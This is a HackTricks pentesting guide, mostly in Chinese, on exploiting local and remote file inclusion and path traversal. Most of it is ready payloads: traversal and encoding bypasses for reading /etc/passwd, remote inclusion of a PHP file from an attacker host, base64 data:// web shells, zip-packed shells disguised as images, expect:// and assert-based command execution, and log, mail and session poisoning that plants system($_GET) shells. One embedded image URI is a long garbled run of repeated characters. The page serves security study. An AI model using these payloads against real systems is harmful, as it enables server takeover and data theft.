hacktricks/pentesting-web/file-inclusion
2023-12-24 19:12:50 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Chinese 2023-08-03 19:12:22 +00:00
lfi2rce-via-eternal-waiting.md Translated to Chinese 2023-08-03 19:12:22 +00:00
lfi2rce-via-nginx-temp-files.md Translated to Chinese 2023-08-03 19:12:22 +00:00
lfi2rce-via-php-filters.md Translated to Chinese 2023-08-03 19:12:22 +00:00
lfi2rce-via-phpinfo.md Translated ['pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] to c 2023-12-24 19:12:50 +00:00
lfi2rce-via-segmentation-fault.md Translated to Chinese 2023-08-03 19:12:22 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Chinese 2023-08-03 19:12:22 +00:00
phar-deserialization.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:32:12 +00:00
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00
via-php_session_upload_progress.md Translated to Chinese 2023-08-03 19:12:22 +00:00

文件包含/路径遍历

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

HackenProof是所有加密漏洞赏金的家园。

无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

文件包含

远程文件包含RFI 文件从远程服务器加载最好您可以编写代码服务器将执行它。在php中默认情况下禁用此功能(allow_url_include)。
本地文件包含LFI 服务器加载本地文件。

当用户以某种方式控制将要由服务器加载的文件时,就会出现漏洞。

易受攻击的PHP函数require、require_once、include、include_once

一个有趣的利用此漏洞的工具:https://github.com/kurobeats/fimap

盲目 - 有趣 - LFI2RCE文件

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

混合了几个 *nix LFI 列表并添加了更多路径,我创建了这个列表:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

还可以尝试将 / 更改为 \
还可以尝试添加 ../../../../../

可以在这里找到一个使用多种技术来查找文件 /etc/password以检查漏洞是否存在的列表。

Windows

合并了几个列表,我创建了这个列表:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

还可以尝试将 / 更改为 \
还可以尝试删除 C:/ 并添加 ../../../../../

可以在这里找到一个使用多种技术来查找文件 /boot.ini以检查漏洞是否存在的列表。

OS X

查看 Linux 的 LFI 列表。

基本 LFI 和绕过方法

所有示例都是针对本地文件包含但也可以应用于远程文件包含page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

递归剥离的遍历序列

When performing file inclusion attacks, it is common to encounter input validation mechanisms that strip traversal sequences (such as "../" or "..") from user-supplied input. However, these mechanisms are often implemented in a non-recursive manner, meaning that they only remove one occurrence of the traversal sequence at a time.

在执行文件包含攻击时,常常会遇到输入验证机制,该机制会从用户提供的输入中剥离遍历序列(例如"../"或"..")。然而,这些机制通常是以非递归的方式实现的,这意味着它们一次只能移除一个遍历序列的出现。

This behavior can be exploited by using multiple traversal sequences in a single payload. By including multiple traversal sequences, we can bypass the input validation mechanism and successfully include files that would otherwise be restricted.

我们可以利用这种行为,使用多个遍历序列在一个有效载荷中。通过包含多个遍历序列,我们可以绕过输入验证机制,并成功包含那些本来受限制的文件。

For example, if the input validation mechanism removes only one occurrence of "../" at a time, we can use a payload like "../../../../etc/passwd" to include the "/etc/passwd" file.

例如,如果输入验证机制一次只移除一个"../"的出现,我们可以使用类似"../../../../etc/passwd"的有效载荷来包含"/etc/passwd"文件。

It is important to note that this technique relies on the specific behavior of the input validation mechanism. If the mechanism is updated to remove multiple occurrences of traversal sequences, this technique may no longer be effective.

需要注意的是,这种技术依赖于输入验证机制的特定行为。如果该机制被更新为移除多个遍历序列的出现,这种技术可能不再有效。

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

空字节(%00

绕过在提供的字符串末尾添加更多字符的限制(绕过方法:$_GET['param']."php"

http://example.com/index.php?page=../../../etc/passwd%00

这个问题在PHP 5.4之后已经解决。

编码

你可以使用非标准的编码比如双重URL编码以及其他编码方式

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

从现有文件夹

也许后端正在检查文件夹路径:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

识别服务器上的文件夹

根据应用程序代码/允许的字符,可能可以通过发现文件夹而不仅仅是文件来递归地探索文件系统。为了做到这一点:

  • 通过成功检索/etc/passwd如果在Linux上来确定您当前目录的"深度"
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • 通过添加文件夹名称(这里是 private)并返回到 /etc/passwd,尝试猜测当前目录中的文件夹名称:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • 如果应用程序存在漏洞,请求可能会有两种不同的结果:
  • 如果你得到一个错误/没有输出,那么这个位置不存在private文件夹
  • 如果你得到了/etc/passwd的内容,那么你验证了当前目录确实存在一个private文件夹
  • 使用这种技术发现的文件夹可以使用经典的LFI方法进行文件模糊测试或者使用相同的递归技术进行子目录模糊测试。

可以将这种技术调整为在文件系统的任何位置查找目录。例如如果在相同的假设下当前目录在文件系统的深度3处你想要检查/var/www/是否包含一个private目录,请使用以下有效载荷:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

以下命令序列允许使用 sed (1) 生成用作 url 模糊测试工具(如 ffuf (2))的输入的有效载荷:

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

当然,根据您的需求调整有效载荷的深度/位置/输入目录列表。

路径截断

绕过在提供的字符串末尾添加更多字符的操作(绕过方式:$_GET['param']."php"

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

始终尝试以一个虚假目录a/开头路径。

此漏洞已在PHP 5.3中修复。

绕过过滤器的技巧

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

远程文件包含

在 PHP 中,默认情况下禁用此功能,因为 allow_url_include 的值为 Off。它必须设置为 On 才能正常工作,在这种情况下,您可以从您的服务器包含一个 PHP 文件并获得远程代码执行RCE的能力

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果由于某种原因 allow_url_include开启但是PHP正在过滤对外部网页的访问,根据这篇文章你可以使用例如使用base64的data协议来解码一个b64 PHP代码并获得RCE

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} 在上面的代码中,最后添加了 +.txt 是因为攻击者需要一个以 .txt 结尾的字符串,这样在经过 b64 解码后,这部分将返回无用的内容,而真正的 PHP 代码将被包含(从而执行)。 {% endhint %}

另一个不使用 php:// 协议的示例是:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python 根元素

在Python中像下面这样的代码

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

如果用户传递了一个绝对路径给**file_name,那么之前的路径会被移除**

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

这是根据文档的预期行为:

如果一个组件是绝对路径,则所有先前的组件都被丢弃,连接将从绝对路径组件继续。

Java列出目录

看起来如果在Java中存在路径遍历并且您请求的是一个目录而不是一个文件,则会返回目录的列表。这在其他语言中不会发生(据我所知)。

前25个参数

以下是可能容易受到本地文件包含LFI漏洞攻击的前25个参数的列表来自链接

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

使用PHP包装器和协议的LFI / RFI

php://filter

PHP过滤器允许在读取或写入数据之前对数据进行基本的修改操作。有5个过滤器类别

  • 字符串过滤器
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags:从数据中删除标签(位于"<"和">"字符之间的所有内容)
  • 请注意此过滤器已从现代版本的PHP中消失
  • 转换过滤器
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.*:转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台中运行:iconv -l

{% hint style="warning" %} 滥用convert.iconv.*转换过滤器,您可以生成任意文本,这对于编写任意文本或使包含过程成为任意文本的函数可能很有用。有关更多信息,请查看LFI2RCE通过php过滤器。 {% endhint %}

  • 压缩过滤器
  • zlib.deflate:压缩内容(如果外泄大量信息时有用)
  • zlib.inflate:解压数据
  • 加密过滤器
  • mcrypt.*:已弃用
  • mdecrypt.*:已弃用
  • 其他过滤器
  • 在php中运行var_dump(stream_get_filters());,您可以找到一些意外的过滤器
  • consumed
  • dechunk反转HTTP分块编码
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} "php://filter"部分是不区分大小写的。 {% endhint %}

php://fd

此包装器允许访问进程打开的文件描述符。可能有用于窃取已打开文件的内容:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

您还可以使用php://stdin、php://stdout和php://stderr来分别访问文件描述符0、1和2(不确定这在攻击中有何用处)

zip://和rar://

上传一个包含PHPShell的Zip或Rar文件并访问它。
为了能够滥用rar协议需要专门激活它。

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://是一种URL协议用于在Web应用程序中包含数据。它允许将数据直接嵌入到URL中而不是从外部文件加载。这种技术可以用于在网页中嵌入图像、音频、视频或其他类型的数据。

使用data://协议时数据被编码为Base64格式并直接放置在URL中。这意味着数据将作为URL的一部分传输而不是从服务器上的文件加载。这种方法可以减少对外部资源的依赖提高网页加载速度。

要使用data://协议只需在URL中指定数据的MIME类型然后将数据编码为Base64格式。例如要在网页中嵌入一张图片可以使用以下格式的URL

data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAWElEQVQ4T2NkoBAwUqifg/8GBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGB

http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is ""

有趣的事实你可以使用以下代码触发XSS并绕过Chrome Auditor`http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

请注意这个协议受到php配置中的**`allow_url_open`**和**`allow_url_include`**的限制。

### expect://

需要激活Expect才能执行代码。

http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls

### 输入://

在POST参数中指定您的有效载荷

http://example.com/index.php?page=php://input POST DATA:

### phar://

如果网站使用类似`include`的函数来加载文件,`.phar`文件也可以用来执行PHP代码。

{% code title="create_phar.php" %}
```python
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

你可以通过执行以下命令来编译phar文件:

php --define phar.readonly=0 create_path.php

将生成一个名为test.phar的文件您可以使用它来滥用LFI。

如果LFI只是读取文件而不执行其中的php代码例如使用函数如file_get_contents()fopen()file()file_exists()md5_file()filemtime()filesize()。您可以尝试滥用在使用phar协议读取文件时发生的反序列化。

有关更多信息,请阅读以下文章:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

更多协议

检查更多可能的协议以在此处包含

  • php://memory和php://temp — 写入内存或临时文件(不确定在文件包含攻击中如何有用)
  • file:// — 访问本地文件系统
  • http:// — 访问HTTP(s) URL
  • ftp:// — 访问FTP(s) URL
  • zlib:// — 压缩流
  • glob:// — 查找与模式匹配的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
  • ssh2:// — 安全外壳2
  • ogg:// — 音频流(不适用于读取任意文件)

通过PHP的'assert'进行LFI

如果遇到一个困难的LFI似乎过滤遍历字符串如“..”并响应类似“Hacking attempt”或“Nice try!”的内容,那么'assert'注入有效载荷可能会起作用。

像这样的有效载荷:

' and die(show_source('/etc/passwd')) or '

将成功利用以下形式的"file"参数的PHP代码

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

也有可能在一个易受攻击的"assert"语句中使用system()函数来实现远程代码执行RCE

' and die(system("whoami")) or '

确保在发送之前对有效载荷进行URL编码。

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

PHP盲目路径遍历

{% hint style="warning" %} 在以下情况下,此技术适用:您控制访问文件PHP函数文件路径,但您无法看到文件的内容(例如简单调用**file()**),但不显示内容。 {% endhint %}

这篇令人难以置信的文章解释了如何通过PHP过滤器滥用盲目路径遍历以通过错误oracle泄露文件的内容。

简而言之,该技术使用**“UCS-4LE”编码使文件的内容变得如此庞大**,以至于打开文件的PHP函数将触发错误

然后,为了泄露第一个字符,使用了过滤器**dechunk以及其他过滤器,如base64rot13**,最后使用过滤器convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE将其他字符放在开头并泄露它们。

可能存在漏洞的函数file_get_contentsreadfilefinfo->filegetimagesizemd5_filesha1_filehash_filefileparse_ini_filecopyfile_put_contents仅限目标只读stream_get_contentsfgetsfreadfgetcfgetcsvfpassthrufputs

有关技术细节,请查看上述文章!

LFI2RCE

远程文件包含

之前已经解释过,请点击此链接

通过Apache/Nginx日志文件

如果Apache或Nginx服务器在包含函数中存在LFI漏洞,您可以尝试访问**/var/log/apache2/access.log/var/log/nginx/access.log,在用户代理GET参数中设置一个php shell例如<?php system($_GET['c']); ?>**,然后包含该文件

{% hint style="warning" %} 请注意如果您在shell中使用双引号而不是单引号双引号将被修改为字符串"quote;"PHP将在那里抛出错误不会执行任何其他操作

此外,请确保正确编写有效载荷否则每次尝试加载日志文件时PHP都会出错您将没有第二次机会。 {% endhint %}

这也可以在其他日志中完成,但要小心日志中的代码可能已进行URL编码这可能会破坏Shell。标头**authorisation "basic"**在Base64中包含"user:password"并在日志中解码。PHPShell可以插入此标头中。 其他可能的日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

通过电子邮件

发送一封邮件到内部账户user@localhost其中包含您的PHP有效载荷<?php echo system($_REQUEST["cmd"]); ?>,并尝试通过路径 /var/mail/<USERNAME>/var/spool/mail/<USERNAME> 包含到用户的邮件中

通过 /proc/*/fd/*

  1. 上传大量的shell例如100个
  2. 使用 http://example.com/index.php?page=/proc/$PID/fd/$FD 进行包含,其中 $PID 是进程的PID可以通过暴力破解获得$FD 是文件描述符(也可以通过暴力破解获得)

通过 /proc/self/environ

像日志文件一样,将有效载荷发送到 User-Agent它将被反射到 /proc/self/environ 文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传

如果你可以上传一个文件只需在其中注入shell负载例如<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件的可读性,最好将注入内容压缩到图片/文档/PDF的元数据中。

通过上传ZIP文件

上传一个包含压缩的PHP shell的ZIP文件并访问

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过PHP会话

检查网站是否使用PHP会话PHPSESSID

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在PHP中这些会话被存储在/var/lib/php5/sess_[PHPSESSID]文件中。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
